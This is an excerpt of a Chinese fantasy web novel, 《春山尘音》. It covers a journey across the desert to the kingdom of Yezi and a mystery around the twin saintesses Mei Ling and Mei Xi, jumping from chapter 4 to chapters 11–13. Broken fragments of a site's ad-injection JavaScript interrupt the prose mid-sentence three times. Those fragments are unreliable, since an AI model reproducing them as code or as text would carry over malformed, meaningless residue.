《春山尘音》 4. 有间酒遇双公子2 短发女子介绍道:“......这是......木尔。” 这名叫木尔的少年,约莫十四五岁的年纪,长得人畜无害的,若是换了旁人,定要当面质疑这个孩子作为引路者的真实性。 可在场的三人,无论是莲溪、江鱼或者刘桃花都无任何异议。 毕竟人是莲、江二人找来的,可刘桃花呢? 刘桃花在自己的挎包翻了翻,掏出几块杏子干,往木尔手心里放上一块,笑道:“这是天底下最好吃的杏子干,我身上没什么值钱的宝贝,你若不嫌弃,便当它是我的谢礼,可好?” 木尔看着手上的杏子干定了少顷,收拢掌心,道:“为人引路不收钱财,但你的谢礼我很喜欢,谢了。” 木尔虽是少年声气,也带着少年人的随性不羁,同时又有着不似同龄的成熟。 粗布简衣,无浊相貌,难掩其真本色。 刘桃花还顺手给木尔身后的两位老板娘各自送了一块,怕她们以为自己要用几块杏子干抵账,解释道:“你们别误会,虽然我身上没什么多余的钱财,但这住店和酒食的钱我还是付得起的。相逢即是缘,权当这是见面礼吧。” 刘桃花想到什么,又问道:“今日这一遭遭事,咱们也算是不‘言’不相识了,还未请教两位店家如何称呼?” 两人相互望了一眼,高挑女子先道:“曼罗羡。” 短发女子又道:“......巫塔丽。” 刘桃花又往她俩手里塞了两块,曼罗羡不解,刘桃花眨眨眼,道:“觉得你俩好看,想再给一块。” “............” 背后传来一声嘀咕,没听清说的什么,紧接着又是一声极克制的闷哼。 刘桃花这才转身又给身后站立已久的莲、江二人,江鱼眉头紧皱,双手背后。莲溪却是神色戏谑,带着轻浅的笑。 刘桃花不明所以,也塞了几块,道:“喏,见面礼。见者有份。” 不知是不是错觉,当莲溪接着那块杏子干的时候,指节似有轻微颤动。而在一旁的江鱼将这一切尽收眼底,道了声谢,唇边扬起一抹意味深长的笑。 曼罗羡道:“今日天色不早了,不宜出行。诸位且先休息,明日一早,木尔会为诸位带路。” 由巫塔丽带刘桃花到楼上客房去,临走时,莲溪唤住她,道:“刘桃花,明天见。” 刘桃花回首望向莲溪,挥挥手,笑眯眯的,道:“明天见,莲溪。” 随巫塔丽来到二楼,那纱帐高台依然立于中央,只是方才在下面看到的那一张张如临半空与二楼衔接的桌席,此刻却仿佛离得很远。如今在这条仅能容纳两人并肩而行的廊道上,除了一侧的围栏,就只剩下一面光秃秃的墙。 只见巫塔丽随手摸了围栏旁的一根柱子,光秃的墙面发出一阵响动,随后眼前的这面墙向一侧缓缓退去,映入眼帘的是分别位于左中右三侧的三间上房。地面无尘,门板上的木漆还泛着油光,想来这里虽然久无人住,但却被打理得很好。 刘桃花惊讶于客房竟隐匿在一堵墙后,看似平平无奇的墙后竟是别有洞天。她心道:建此屋者,可说是个能工巧匠,就是春山楼也难找出有此等建造技艺的高人。不过与其说这整间酒肆是座建造巧妙的房屋,倒不如说像个披着房屋外衣的机关。 巫塔丽指着中间那处屋子,道:“你今晚......就住那间。” 刘桃花顺着她手指的方向看过去,门的两侧悬着两方烛台,右侧烛台下挂着一块木牌,上面似乎刻着某种文字。 刘桃花正琢磨是哪里的文字时,巫塔丽道:“这里很久没人住了......” 刘桃花回神又看向巫塔丽,巫塔丽眼眸低垂,似是陷进了回忆中,自顾自地说道:“我们......一直都打扫,很干净。但是太久了......太久没人到......都没了.....” 不知怎的,巫塔丽的声音变得哽咽,身体也开始颤抖,不一会儿竟蜷缩着身子低声啜泣起来。 刘桃花吓了一跳,实在不知好端端的怎么突然变成这样了?难道刚才自己说了什么不该说的? 明明啥话也没说啊?!!!! 刘桃花小心翼翼地拍了拍巫塔丽的肩头,道:“你还好吧。” 巫塔丽低喘了几声,再抬眼时,眼中已不见泪意,神色恢复如常,道:“一时......触景生情,桃花姑娘莫怪。天色已晚,姑娘安歇吧。” 还不等刘桃花应答,巫塔丽便匆匆离去了。 这变脸变得也太快了! 一股疲惫感席卷全身,刘桃花无暇顾及其他,只想赶紧躺在床上睡一觉才是最好。 她推门而入,房内陈设简单,又干净质朴,空气中还隐隐散发着一股清香,与曼、巫二女身上的味道不同。 刘桃花微微一笑,抻了个懒腰,将墨墨安置好,简单洗漱后便大字朝天地睡了过去。 翌日,清晨。 曼罗羡一早为几人备好了椒饼和水,等刘桃花收拾好出来的时候,莲溪和江鱼已经在门口等她了。 当然,还有那头驴。 刘桃花一看见那驴,只觉不可思议,心里正想着,不料却脱口而出道:“你们还真是骑驴来的啊......” 话一出口,刘桃花顿感不妙,心道:怎么还给说出来了!怎么临走了又来一遭尴尬事啊!!! 刘桃花尴尬地笑了声,道:“那个,我不是......” 莲溪打断她,道:“桃花姑娘昨晚睡得可好?” 刘桃花一愣,道:“啊,挺好的。多亏店 家准备的安神香,我才能扫除一身疲惫,一夜无梦好眠到天亮。” 刘桃花又转头向巫塔丽道谢,忽然感觉哪里奇怪,又看向莲溪问道:“你昨日不是已经唤过我的名字了,怎么今日又叫上姑娘了?” 莲溪像是没想到她会有此一问,低笑一声,道:“我们初次相识,直呼其名怕是不妥。” 刘桃花却不以为然,道:“此行吉凶未知,在这茫茫大漠谁也不认识谁,就算认识又能怎么样呢。况且我昨日不是也唤了你的名字,有何不妥?” 莲溪道:“那我往后唤你桃花可好?” 刘桃花道:“当然可以。” 莲溪道:“好,桃花。” 莲溪话毕又是一笑,但不知为何,刘桃花觉得他这笑里带着点欣喜,还有点得意。 一旁的江鱼看不下去,忍不住翻了个白眼,他仔细将干粮、水以及随行包裹整理好,放在驴背上,又不轻不重地拍了下驴屁股,语气有些阴阳怪气,神色却带着一丝玩味,道:“一撮毛儿,还不快走!不然这椒饼和水就要被某人烤干喽!” 一撮毛?! 刘桃花问道:“你的驴叫一撮毛?” 说到这个,江鱼眼里满是得意和喜爱,十分郑重地向刘桃花介绍道:“没错儿!如你所闻,这就是我的宝贝一撮毛儿!”介绍过后,江鱼还不忘补充一句,道:“一撮毛儿可比某人可爱多了!” 莲溪神色戏谑,冷哼一声,没理会他。 曼罗羡适时开口道:“好了诸位,该启程了。临行前,我要提醒诸位一句‘只有真正的勇士才能进入夜兹’。还有,若是诸位真进入了夜兹,切勿被夜兹的景 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 致迷了眼而忘返。” 曼罗羡与巫塔丽双手交叠覆于胸前,向三人行了一礼,二人齐声道:“那么,我姐妹二人便祝三位此去一路顺风,归来赴春山。” 三人齐齐回以一礼,便随木尔一起上路了。 四人出了高历城沿着戈壁一路北上,经过一片沙漠石林,石林内怪石丛生,高低错落,形态各异。石壁上偶有杂草相连,脚下时不时窜出几只沙漠小蜥。头顶烈日当空,行在此间却无比清凉,感受不到丝毫热意。 一路上,木尔始终居队伍之首,神情严肃,未多言语,只是专心带路。江鱼牵着一撮毛排在第二,边走还边哼着小调,心情极好。刘桃花排在第三,今日出行便将渔网帽取下,在外面又包了一层面纱,用其遮挡风沙。江鱼觉得奇怪,问她为何不直接戴一斗笠,她却说:“好玩,仅此而已。” 莲溪自然是居队伍之尾,距离始终保持在离刘桃花的七步以内。他步伐沉稳,走得却是不紧不慢,身处在这荒荒大漠之中,他却好似身在绿洲一般轻松闲适。 见他始终走在后面,刘桃花不禁询问道:“你要不要上前来与我并肩同行?” 莲溪笑道:“不了桃花。我觉得,后面风景好。” 刘桃花闻言,向四周望了望,回想这一路上除了茫茫戈壁和这重重怪石,似乎也没别的风景了。试想戈壁之辽阔,怪石之奇绝,的确是不错的景色,走在后面或许视野更开阔也不一定。 刘桃花时不时回头看莲溪一眼,每每对上目光,莲溪总是回以一笑。 刘桃花心想:“莲溪还真是人如其名,身处在大漠这等险恶之地,不受外物影响,神色无波,还能自得其乐。想必定是个心志坚定且行事果断的人。再反观与之同行的江鱼,虽然看上去有些玩世不恭,其实也是个心思细腻的人。此行还真是收获良多。” 这一路也算是风平浪静。 四人穿过石林,又行数十里,隐见前方不远处有一片胡杨林。 木尔停住脚步,手指前方,道:“快到了。对了,前方可能会......” 木尔话音未落,恰逢此时忽起一阵风沙,这风沙来得古怪,狂风卷着黄沙铺天盖地打在身上,打得人隐隐作痛。这风中沙石威力更甚,凡所触衣物皆被划破。这一会的功夫,四人身上的衣服都布满了大大小小的口子。 风沙模糊了视线,脚下的黄沙不知何时竟变得如泥洼一般,深一脚浅一脚的,行进十分艰难。前面那片林子也看不真切了。 刘桃花想开口唤人,却被灌进了一嘴沙子,前面的人还在,猛然想起肩上的墨墨,连忙一把抓过塞进了挎包里,以防被风沙卷走。她再欲开口时,手腕忽然被人拉住。 刘桃花看清来人,正是莲溪。 只见莲溪神色平和,开口向她说了什么,但两人距离如此近,声音却被卷进风中什么都听不见。 但观其口型,他是在告诉她:“别担心,我带你走。” 四人不知在风沙中走了多久,怪风赫然消失,而在他们眼前的便是刚刚那片胡杨林。 木尔道:“刚刚那阵风沙是通往夜兹路上的磨难之一。过往之人,有许多都在这场风沙中因迷失方向而不知所踪,也有人未经风沙而原路返回。诸位能行至此处,已是难得。但这只是开始。” 木尔指着身后的胡杨林,又道:“这林子我过不去,所以只能送各位到此。穿过这片胡杨林便可抵达夜兹。诸位能否顺利到达,就看各位的造化了。只是莫要忘了来时的叮嘱。” 只有真正的勇士才能进入夜兹。 不待三人反应,木尔便消失在茫茫大漠之中,没了踪迹。 11. 双生画生死难辨 目沙在听到后面色一沉,因着刘桃花他们三人在场,只是一瞬就恢复如常,道:“三位贵客,在下要去处理一些事情,不能陪各位了,还望谅解。” 江鱼摆摆手,道:“国师日理万机,不必放在心上,我们仨自己逛逛就行。” 目沙点了点头,微一欠身,道:“那在下就先告辞了,明日我们弦月台见。” 目沙走后,三人就这么坐着,一时间谁也没再说话。 直到江鱼吃完最后一口面,餍足地摸了摸肚子,刘桃花先道:“刚才那些小孩唱的,难道梅令死后的新圣女就是梅喜?” 莲溪和江鱼深表赞同,莲溪道:“如果歌谣里都是真的,那梅令之后的那位圣女,一定就是她的双生姐妹,梅喜。” 江鱼疑惑,道:“不对啊!就算新圣女真的是梅喜,这都一百多年了,难道她还活着吗?”想到此,江鱼只觉毛骨悚然,道:“如果真的是她,并且她还活着,那她现在不是一个白发苍苍的老婆婆,就是......” 最后那个字他没有说出来,但是什么,三人已心下了然。 刘桃花道:“单凭歌谣的内容和莲溪先前所讲,她们因为双生子的缘故,关系似乎并不好。夜兹在婚姻上倒是给予女子极大的尊重,在这件事上却仍然不能免俗。但这不能说好,也不能说是不好。” 江鱼道:“夜兹自古以来的圣女选拔,都是经由历任国师与时任圣女在弦月台占卜方位所得,百年来一直都是一个人。夜兹的先人的确曾言‘双生即出,夜兹危矣’,双生子出世又是头一遭,必然会视为不祥的征兆。可仅凭一个先人的预言,就给两个女子的一生冠上罪名,未免太过武断。” 莲溪冷笑一声,道:“当自身利益受到威胁时,人们都会本能的选择斩断威胁。一个当权者,为了让自己的统治长久,让百年基业不毁在自己手上,牺牲一两个人而已,何乐而不为。” “当然,也会有人做出与之相反的选择。这也没有多高尚,只是个人选择不同罢了。是非曲直,在个人心中,也在世人口中。” 刘桃花望向莲溪,她知道眼前的少年必定身份不凡,但从未深究。此刻她第一次对他的身份有了兴趣,因为他们竟然在某些方面的见解意外的相合。 刘桃花道:“如果是你,你会如何选择?” 莲溪一怔,随即哈哈笑道:“我不是圣人,顾不了那许多人。我只坚持我所坚持之事,善恶之别,后人评述,无足轻重。” “好。” 自莲溪身后传来一道声音,是个小儿。 那小儿道:“大哥哥你说得真好!” 江鱼“哦”了一声,道:“哪里好?” 小儿拿出一颗糖块,道:“我今日喜欢它,它就是好的。明日不喜欢它,并不代表它就是坏的呀。做什么选择,得什么结果,好与坏哪能分得清呢。既然分不清,那坚持做自己认为对的事不就很好吗?” 小儿说罢,将糖块塞进口中,喜滋滋地笑,道:“大哥哥,你觉得是与不是呀。” 江鱼笑道:“你说得对。” 刘桃花掏出一块杏子干给那小儿,道:“你说得真好,请你吃杏子干。” 小儿欢喜地接过,还想再说些什么,却被前来寻他的妇人制止了,道:“你一个小孩子,又在瞎说什么呢!”妇人说罢,朝三人颔首,便急忙拉着小儿走开了。 江鱼望着那对母子远去的背影,仿佛看见了一道无形的沟壑,但此时此刻,他的心情却像刚刚吃到好吃的干肉拌面一样痛快而舒朗。 江鱼用手肘碰了下莲溪,道:“莲砸,你这算不算是他乡遇知音啦!” 莲溪笑了声,没搭理他,见刘桃花在一旁似是想什么出神,道:“桃花,你在想什么?” 刘桃花道:“我在想刚刚那孩子的话,还有这几天发生的事情,我觉得好像忽略了什么。” 莲溪道:“说来听听?” 刘桃花道:“如果一切都像歌谣里说的那般,再结合传闻中做的那些事,梅喜的名声应该不好。在有间酒肆,我曾听人谈论圣女的事迹,可见夜兹虽然多年无人出入,但这里发生的事并不是完全封闭的,奇怪的是,外面听到的只有事件,而不知具体的人,就像是被刻意掩盖。” “夜兹圣女历来人人传颂,可这里几乎无人提及,原因不外乎就是因为她的所为而惧怕或者不愿意,今日却有一群小孩当街吟唱那样的歌谣,恰巧还是在我们面前,就好像是故意唱给我们听的。这很矛盾,梅喜是个什么样的人暂且无法下结论,但照目前的情形,有的人在竭力隐藏,有的人在极力张扬。” 莲溪三指捻着手中的杯子,似笑非笑道:“听上去很有意思不是吗,如果这件事情只有那一人,未免太无聊了些,现在这样显然有趣多了。” 江鱼也不知哪里燃起了一股斗志,兴冲冲地道:“谁也逃不过小爷我的法眼,我倒要看看那圣女和那背后之人,到底是何方神圣!” 刘桃花看着面前这两兄弟,知道的都挺多,样貌也是一等一的好,一个端着一张少年相,却自成一派泰然,随性却不失分寸。另一个嘛,看着大大咧咧,却是粗中有细,明明是弟弟,看着却长得比哥哥略大些,有时候还有点傻。真是有趣的两个人啊! 莲溪望向刘桃花,道:“怎么样桃花,要不要一起?” 刘桃花道:“我们不是一直都一起吗。” 三人在城中闲逛,因昨日在弦月台的一番较量,一夜之间,他们三人的样貌已是无人不知,无人不晓了。故而走到哪里,都会遇到热情的百姓请他们到自己家中坐坐,或是给他们分享自家的好东西,吃的、喝的、用的,一应俱全。 起初,三人还能自如地打招呼,江鱼更是一点不客气的将百姓所赠之物照单全收,统统都让一撮毛背着。莲溪一开始还提醒他不要拿太多,江鱼却不以为然,觉得再多能多到哪去。 可随着人越来越多,渐渐有些招架不住,一撮毛身上的包袱也越来越重。江鱼低估了百姓们的热情,也高估了一撮毛的承受力。可再厉害的驴,也架不住如此热情高涨的折腾,埋怨似的哀叫两声,站在原地不走了。 在他们面前的,是将他们围得里三层外三层的百姓,他们想走也走不了了。 刘桃花看着眼前密密麻麻的人,顿觉头脑发昏,揉了揉眉心,试图让自己清醒一些。莲溪见状,拉住刘桃花的手,将她护在身后,瞪了一眼一旁正头大的江鱼,道:“你自己惹的事,自己解决。”说罢,便把江鱼往前一推,带着刘桃花出去了。 江鱼大叫一声,道:“不是!哥!!桃花!!你们别把我一个人扔在这啊!!!” 刘桃花一出来,顿觉周身气流都流畅了,一屁股坐在地上,大口地呼吸, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道:“莲溪,刚才谢谢你啊。这夜兹的百姓也太热情了。” 莲溪见她很难受的样子,担忧地看向她,道:“你还好吗?”边说边蹲下身,一下下地抚着她的背,好半天才顺过这口气来。 刘桃花垂首,双手卸力似的一摊,道:“我好多了,别担心。”说完,抬头扯出一丝笑容,示意自己没事。 可莲溪一见她有些发白的脸色,担忧更加深了一分,道:“你还有哪里不舒服,我送你回去休息吧。” 刘桃花一听要回去,不等他动作,连忙拉住他,语气有些急,道:“别呀!这才出来哪一会啊!我真没事!”不知是不是因为莲溪那句话刺激到她,刚才还有气无力的,一句话的功夫又变得生龙活虎的,脸色也红润不少。 莲溪着实被她变脸如此之快惊了一把,有点无奈,又有点好笑,但还是不放心,道:“你确定真的没事吗?” 刘桃花站起身,拍拍身上的灰,忽然倾身凑到他身前,笑着朝他眨眼,道:“你看,我是不是好啦。” 莲溪的眼中倒映着她近在咫尺的脸,眉眼弯弯,笑得有些俏皮,莲溪被看的一时失神,脚下一顿,竟是动弹不得。 刘桃花这时却转身打量起了周围,才发现他们到了一个巷子里,这前后没什么人。空气中忽然飘来一阵若有若无的香味,闻起来像是寺庙供香的味道,她这才发现,在莲溪身后的巷子尽头,有一间庙。 刘桃花道:“莲溪!你快看,那好像有一间庙!” 莲溪侧身一望,道:“走,去看看。” 二人来到庙前,一座方方正正的二层建筑,与百姓所住的房子并无二致,就是面积大了些,建在这僻静之地,若是不特意寻,还真不容易找到。方才还似有似无的香气,到了门前也变得愈发浓郁了。这庙前无匾额,若不是这香,任谁也不会觉得这是一座庙。 刘桃花道:“看来我想得没错,那两个女店家真的是夜兹人,你不觉得有间酒肆和这间庙风格很像吗?” 莲溪道:“是很像。” 刘桃花搓搓手,道:“那咱们赶紧进去看看吧!” 二人从拱门进入,庙内无人看管,亦无香客,但四下无尘,应是经常有人来打扫。室内墙壁之上是栩栩如生的壁画,一面是夜兹的自然风光与民间生活,一面是夜兹历代的国王与圣女,不同的是,壁画的末端的圣女像与其他壁画对比成色较新,但画工却有些粗糙,不似其他的细致。正中央供桌的香坛上只有一支香正在燃烧,却并无供奉的神像,而是一方无字灵牌,灵牌上方挂着一幅画。 那是一幅画工精湛的黑白人物画,画中女子身着一身华服,手持长剑,发挽蛇簪,眉眼如利刃,极具压迫感,好似多看上一秒,画中人就要破纸而出。而在画像的一端赫然写着“梅令”二字。 正是那位为国战死,却要被除籍的圣女,梅令。 刘桃花忽然想到什么,急忙去查看那幅画工粗陋的圣女像,那画像是彩绘,容貌竟与梅令的容貌有八分相似。 壁画上的正是梅喜。 刘桃花急忙招呼莲溪,道:“莲溪,你快来看!我记得夜兹人除了额间的诺巴,还有一个习俗就是画像,‘生人为黑白,亡魂为彩绘’。可画黑白的是梅令,彩绘的却是梅喜。这到底是怎么回事?” 莲溪盯着面前的壁画,道:“也许,梅令还没死。” 12. 圣女喜衔草问天 两人还想看看这庙里还有没有什么没发现的线索,怎料一转身就看见一个发髻凌乱的大活人直挺挺地躺在地上。 那人发出一声惊呼:“卧槽!!!什么人这么不怕死,竟然敢上一支香!” 一听声音,才发现原来是江鱼。 莲溪嫌弃地睨了他一眼,往后退了两步,道:“哎呦江大公子,你不是去接受夜兹人的赠礼了吗?应该容光焕发,富得流油啊,怎么还把自己搞得人不人、鬼不鬼的。” 江鱼一下坐起身,道:“唉,我哪知道那些百姓那么热情啊,那也太热情了!每个百姓不是往我手里塞东西,就是要拉着我去他们家里做客,这一拉一扯的,都把我的头发和衣服弄乱了,我是又推又谢,嘴皮子都磨破了,好不容易才逃出来,结果你们还不见了。我生怕他们又把我叫回去,拉着一撮毛赶紧跑,跑得满身是土,又找你们找了半天,可真是把我累坏了。” 刘桃花道:“我看你挺开心的,累的应该是一撮毛才对吧。” 一撮毛甩了甩耳朵,认同似的叫了两声,除此之外,还有一些对江鱼的不满。 江鱼指着一撮毛,道:“你凑什么热闹啊!”又转头看向刘桃花,“桃花你也是,怎么还帮着莲溪说话了。” 刘桃花实事求是说道:“我发现你这一路可是叫了他不少外号。更何况他早就提醒过你,你自己没当事的,我觉得他对你很包容了。” 莲溪听后,挑了挑眉,低笑了几声,显然心情不错,道:“行了,赶紧起来吧。这里挺有意思,你也看看。” 江鱼“噌”的一下站起身,直奔那供桌去,方才还以为自己看花了眼,没想到竟真的只点了一支香。更诡异的是,这供的不是别人,而是梅令。 可她不是死了吗! 江鱼道:“黑白画像画的是活人啊!这是梅令?” 莲溪道:“你再来看看这个。” 江鱼又走到壁画前看了看,这壁画上的女子竟与画像上的女子长相极为相似,但也能看出不同,这难道是梅喜? 但怎么是给死人画的彩绘! 江鱼疑惑,又分别看了两眼,道:“我没看错吧!这,梅令不是死了吗。怎么她们姐妹俩还颠倒了?难道是梅令没死,死的是梅喜?” 刘桃花摇摇头,道:“这正是我们不解的地方。” 江鱼看向那仍在燃烧的一支香,道:“夜兹的敬香习惯与中原并无不同,一般上香都以三支为主。点一支除了祈福之意外,还有一层意思。” 莲溪道:“招人。” 江鱼道:“若果真如此,就不知道这招的到底是不是人了。” 刘桃花道:“管他是什么,明天祭祀仪式上亲眼看看不就知道了。” 次日,天将明。 三人早早地就被外面一阵叮叮当当的声音唤醒。 知道今日重要,江鱼更是激动的几乎一夜未眠,最后觉得不妥,才象征性的睡了两个时辰。 依照夜兹祭祀日的习俗,所有的人清早都要先沐浴净身,换上一早准备好的新衣。国师早将他们的衣服备好,三人入乡随俗,换上了新衣,打扮得与夜兹百姓无二。 当他们看到对方的扮相时,皆是眼前一亮:莲溪与江鱼长发披肩微卷,一身齐膝短袍,以皮制蹀带束之,腰配短刀,脚踏皮靴,活脱脱变成了一个夜兹少年郎,还有几分异族将军的飒爽之气。刘桃花一头编发,容妆淡扫,一袭纱裙,手戴臂钏,平添了一份风流婉转。 莲溪道:“桃花今日这身很配你。” 刘桃花摆弄着头纱,一时还有些不适应,道:“我许久不穿裙子,倒有些不适应了。”她又仔细看了看他们二人的装束,诚心夸赞道,“果然长得好看,穿什么都好看,你们今天这身也非常不错。” 江鱼道:“咱们快走吧!去接受点水祝福吧!” 三人刚下楼,就遇上了驿馆的店主,他捧着一个盛满水的小罐子,笑盈盈地看向三人,道:“三位远道而来的客人,请允许我向你们留下最诚挚的祝福。” 三人在店主跟前站定,江鱼在先,店主手持长草,在罐子中轻轻蘸取,江鱼微微倾身,双手摊开平举,店主分别在他的额头及掌心轻点,留下几滴水珠,道:“愿你即使深陷黑暗,你的生命永远璀璨如光。” 江鱼双臂交叠与胸前,回以一礼,表示收到了祝福并表达感谢。 莲溪和刘桃花依照江鱼的样子接受店主的祝福。 在夜兹人的信仰中,水源和光明象征着永恒的希望,那也是对夜兹极为重要的资源,更象征着他们的心中的信念,永远如水般清澈,他们的生命,立于阳光之下,永远坦荡。 临出门前,国师派人来通知三人,祭祀仪式在傍晚举行,白日里他们可先在城中与百姓们一同庆贺,日落之前,江鱼需到祭台准备做祭礼,随后再同另外两人一同参加傍晚的祭祀仪式。 三人走出驿馆,大街两侧的房屋上挂上了各式的花灯和彩带,虽是白日,但家家都点起了灯,百姓们都换上了新衣,脸上洋溢着笑容。每座房屋前都会留守一人,一手捧着盛满水的容器,一手轻捻着长草,为来往的人点水祝福。 今日的夜兹城比往日更加热闹,沿途商贩的叫卖声此起彼伏,吆喝得比平时更卖力。街上百姓或三两结伴,他们有说有笑,神色飞扬;或单独成行,当街唱歌跳舞,时不时还有百姓加入他们,好不快活。 三人路遇一卖点心的摊子,被店主叫住,道:“贵客留步,尝尝我家的点心吧!刚出锅,还热乎呢!” 江鱼道了声“谢谢”,率先接过放进嘴里,边嚼边说道:“老板,你这点心真好吃,方便问问是怎么做的?” 那店主笑了一声,道:“这有什么不方便的,我说与您听就是。我是用五种熟果仁和果干磨成细微的颗粒,再与米粉融合,保留食物最原始淳朴的味道,放入磨具定型后上锅蒸熟,最后再浇上一点我们夜兹葡萄熬制的果酱。软糯香甜,齿颊留香,又不会过分甜腻。”说罢,又给莲溪和刘桃花分别递了块,道,“您二位也尝尝看。” 二人接过尝了一口,刘桃花道:“老板手艺真巧,真的很好吃。不过,这点心的样式看着倒和中原的点心有些相似呢。” 店主道:“贵客好眼力,这正是我在中原学来的。不过我在原来的基础上做了一些改良,加了一些只有夜兹才有的食材,吃着另有一番风味呢。” 莲溪想要付钱,却被店主推回,道:“我不收你们的钱。” 刘桃花道:“这是何意?” 店主解释道:“今日是上弦月祭祀大典,每年的这一天,凡城中所售之物皆不收取一分一毫,这也是夜兹百姓感谢神明庇佑的一种回馈方式。再者说,你们是夜兹的客人,即便今日要收钱,我也不会收你们一分钱的。”说着,店主还打包了一份,塞到刘桃花手里,又道,“哎呀您就别推辞了,今日城里城外都有很多好玩的,三位要是都体验一番定会饿肚子的。我也不给您拿多,前面还有更多好吃的,三位只要想吃,只管去和那摊位老板说就是。” 最终,他们拗不过老板,便也没给钱,后面果然如那老板所说,凡是想吃的东西,老板都会包上一点,且分文不取,不一会,他们手上就拿满了。比之昨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 日万人相拥的热情场面,今日算是轻松又愉快了。 城中有杂耍及各类工艺表演,来人皆可体验,城外有飞毯滑沙、骑骆驼、画沙画等各类游戏。 刘桃花见什么都新鲜,浑身精力充沛,兴头上来了,便拉着二人一同玩,几番下来,身心畅快。 刘桃花站在沙丘之上,望着眼前那一轮红日,大喊一声,道:“夜兹——!!!” 希望你能永远璀璨。 这句话,她放在心里,没有说出来。 江鱼张开双臂,闭目感受迎面吹来的微风,他的心中是前所未有的放松,此一刻,他在这里找到了久违的、亲切的熟悉感。 莲溪负手而立,阳光洒在他的身上,他望着一旁的两人,笑了。 日落之前,三人回到城中,前往祭台。 国师和火木已经到了,火木见到三人,点了点头,面上没什么表情,仍是一副不愿与人多说一句的样子。 祭礼所需的羊已经备好,人已到齐,便开始按部就班地准备起来。 两个时辰后,侍从将做好的羊肉端到祭台前的供桌上,几个人也跟着一起来到了祭台。 此时,看台之上,全城的百姓都已到齐,祭祀庄重,故在场无一人出声。圆形祭台前摆了一张供桌,供桌上摆了一个香坛和刚刚送来的祭礼。以祭台为中心,环绕一周摆满了还未点燃的篝火。 圣女还未出现。 夜幕已至,场内一片漆黑寂静,只余徐徐晚风,黑穹之上一弯弦月缓缓移动,当弦月升至祭台上空时,洒下一束月光,周围的篝火瞬间点燃,一名身着黑色华服,头戴傩面的女子骤然出现在祭台之上。 正是圣女。 圣女一手持剑,一手持花,只见她剑指长空,奏乐也随之响起,她身姿矫健,舞步轻盈有力,舞步与乐声相合,时而激昂澎湃,时而婉约流转。 刘桃花望着她手里的那枝花,问道:“她手中握着的是什么花?” 目沙道:“那正是绘制诺巴所用的沙岚草。此花长于大漠,根长而粗,叶茂而小,花香而簇,先代夜兹人以丛林树脂混合花草绘制,迁徙后乃用此花。” 刘桃花道:“不知沙岚草可有什么寓意?” 目沙迟疑了一瞬,语气中带着一丝不易察觉的惋惜,道:“因其茎叶相连,花团锦簇,故有兄弟姊妹相和,情比金坚,不离不散之意。” 想不到沙岚草竟有这样的含义,刘桃花忽然觉得讽刺,明明这个象征着夜兹的花有如此好的寓意,却偏偏在圣女的事情上,将双生姐妹视为不祥。 真是自相矛盾。 曲终舞毕,圣女缓缓解下面具,黝黑的皮肤,桀骜的双眸,轻轻一对视,便感到一阵无形的压迫。 那女子正是梅喜。 梅喜一眼便看见了与目沙坐在一起的三人,她深深地望了一眼,眼中意味不明。少顷,她长臂张开,高呼一声:“光明永照夜兹!” 百姓们也在她的呼声中纷纷响应,一时间呼声响彻在整个祭台,振聋发聩。 江鱼看向莲溪,神色严肃,附耳低声道:“他们要招什么东西不知道,但她,是个活鬼。” 莲溪挑了挑眉,视线不动声色地落在了一处。 刘桃花越过声音,凝望着她的眼睛,那是一对极亮的眼睛,就像雕塑上镶嵌的宝石,生动,闪耀,见之难忘。 站在肩头的墨墨不知怎的,忽然啄她的衣领,刘桃花这才发现,梅喜佩戴的是弦月簪,而非圣女专属的灵蛇簪。 人声攒动,各有所思。 没人注意到他们的身边少了一个人。 13. 圣女喜回忆成殇 祭祀结束,百姓们陆续散场,梅喜背身而立迟迟未动,三人也没有离开。 目沙走到她身边低声说了几句,她这才侧过半边身子,再次看向三人,她的眼神依旧,可当人声散去,火光微微,她站在那高高的祭台之上,在无人注意的角落,她持剑的手在颤抖。 梅喜没有说话,只是看着。少顷,她又朝着祭台外的某个方向看去,唇边勾起一抹极淡的笑,随后便同目沙一道离开了,步伐看上去有些僵硬。 三人各怀心事回到驿馆,刘桃花一进房间就把墨墨叫出来,一人一鸦,坐在桌前,大眼瞪小眼。 默了半晌,墨墨似乎有点着急,“哇哇”叫了两声,又钻进她的挎包里一通翻找,最后用长喙顶出一个小匣子。 刘桃花道:“墨墨,你难道是怀疑她身上被人下了蛊?” 墨墨眨眨眼,不置可否。 刘桃花道:“我倒是觉得她那双眼睛很特别,又很熟悉。不过她的反应也确实有些反常,看来得亲自去看看了。” 此事宜早不宜晚,刘桃花才打定主意,即刻出门就要去探查一番,门刚打开,旁边的另外两扇门也打开了。 三人同时走出,江鱼道:“看来我们想到一块去了。” 刘桃花道:“我有一个猜测,必须见到圣女验证一下。” 莲溪道:“我陪你去。” 刘桃花“咦”了一声,道:“不是我们三个一起吗?” 江鱼与莲溪对视一眼,道:“我也有个事要去验证一下,不过咱们不顺路。” 刘桃花也不多问,道:“那事不宜迟,咱们赶紧出发吧。” 三人出了驿馆,兵分两路,此刻街道上一片漆黑,但好在大漠星空极亮,道路依然清晰可见。 刘桃花说是要去见圣女,一出门就拉着莲溪坚定地往一个方向走,莲溪跟在她后面,道:“你知道圣女在哪儿?” 刘桃花闻言,脚下一顿,转头笑道:“准确的说,不知道。不过今日在祭典上圣女已经告诉我们了呀。” 莲溪挑了挑眉,道:“你是说她最后看向的那个地方?” 虽是问句,语气却很肯定,他显然也认同刘桃花的说法,并和她想到一块儿去了。 刘桃花眼睛亮了亮,道:“知我者,莲溪也。那个方向是王宫,圣女通常住在王宫旁,人家都发出邀请了,不去看看也说不过去嘛。” 莲溪几不可查地笑了声,道:“那你想要验证什么?” 刘桃花道:“到时候你就知道啦!” 不消一盏茶的功夫,二人来到了距离王宫百米外的一座宅子前,出乎意料的是,这座宅子与周围崭新的房屋相比,显得格外突兀,它陈旧的像是一座久无人烟的荒宅。那门前挂着一串零件残缺的护花铃,风过,发出“吱吱呀呀”的脆响,大晚上听着还怪瘆人的。 刘桃花道:“好歹也是个圣女,壁画粗陋也就罢了,怎么这住的也如此寒碜。就算真是个鬼,倒也不必搞得这么贴合。” 莲溪道:“你倒是一点都不怕。” 